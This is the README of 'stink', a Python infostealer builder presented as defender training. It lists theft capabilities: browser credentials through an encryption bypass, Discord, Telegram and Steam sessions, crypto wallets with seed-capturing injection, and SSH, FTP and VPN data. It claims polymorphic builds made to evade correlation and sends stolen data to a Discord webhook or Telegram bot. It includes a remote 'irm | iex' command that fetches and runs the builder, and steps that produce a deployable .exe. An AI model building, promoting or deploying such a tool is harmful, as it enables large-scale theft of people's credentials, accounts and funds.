stink is currently wip; make sure to star the repo so you dont miss when it comes out!
sharpen your detection skills against a real-world infostealer threat. this open-source tool is made for security folks (like you and me :3) to practice spotting and responding to live malware campaigns.
stink is a really cute nextgen python-based infostealer designed to help defenders train to detect, analyze, and respond to infostealer campaigns. infostealers (redline, vidar, raccoon, lumma, etc.) are among the most prevalent threats targeting credentials, session tokens, crypto wallets, and browser data.
| type | capability |
|---|---|
| polymorphism | each build is fully unique; 2 builds cant be correlated to eachother in any way |
| browsers | chromium-based browsers (v149+ app-bound encryption bypass), firefox-based browsers (nss3.dll native implementation) |
| social | discord token, future-proof discord injection, telegram session extraction (file whitelist, reduces log size), whatsapp, signal, tox, element, icq, viber, tiktok |
| crypto | 40+ wallet hash extraction (metamask, phantom, trust, exodus, etc), future-proof exodus injection (password + seed on login), wallet/2fa extension data |
| games | roblox cookie extraction (2 methods), steam session extraction (2 methods), minecraft session extraction (mojang, ms store, lunar, feather, polymc, badlion, prism, rise) |
| system | vpn, ssh, ftp, git client extraction, sensitive file scraping by keywords, system info (specs, software list, screenshot, clipboard) |
building a fully ready to use agent takes less than 5 minutes and is easier than brewing up some coffee.
- discord webhook, or telegram bot token and chat id
- python 3+ (auto-downloaded if using the powershell script)
- windows 10/11 or windows server 2019+
fastest way to get the builder running, automatically gets all missing dependencies.
irm https://raw.githubusercontent.com/FallenAstaroth/stink/refs/heads/main/build.ps1 | iex
git clone github.com/FallenAstaroth/stink
cd stink
pip install -r requirements.txt
python ./build.py
a build results in a ready-to-deploy .exe file with a random filename, located in the out/ folder
note: builds are designed for security research in controlled environments.
distributed under apache. · made with <3 for defenders. · helped you? star the repo! ^_^
this repository contains a source code archive provided strictly for educational and security research purposes, including malware analysis, reverse engineering study, threat intelligence, detection rule development, and academic research. unauthorized use against systems you do not own or lack explicit written permission to test is illegal under laws including the computer fraud and abuse act (us), the computer misuse act (uk), and equivalent legislation. by accessing this repository, you agree not to compile, execute, or distribute this code for any malicious purpose, assume full legal responsibility for any misuse, and acknowledge the repository owner disclaims all liability for damages or legal consequences resulting from improper use. if you are not a security researcher, student, or professional engaged in legitimate study, do not download or use this code.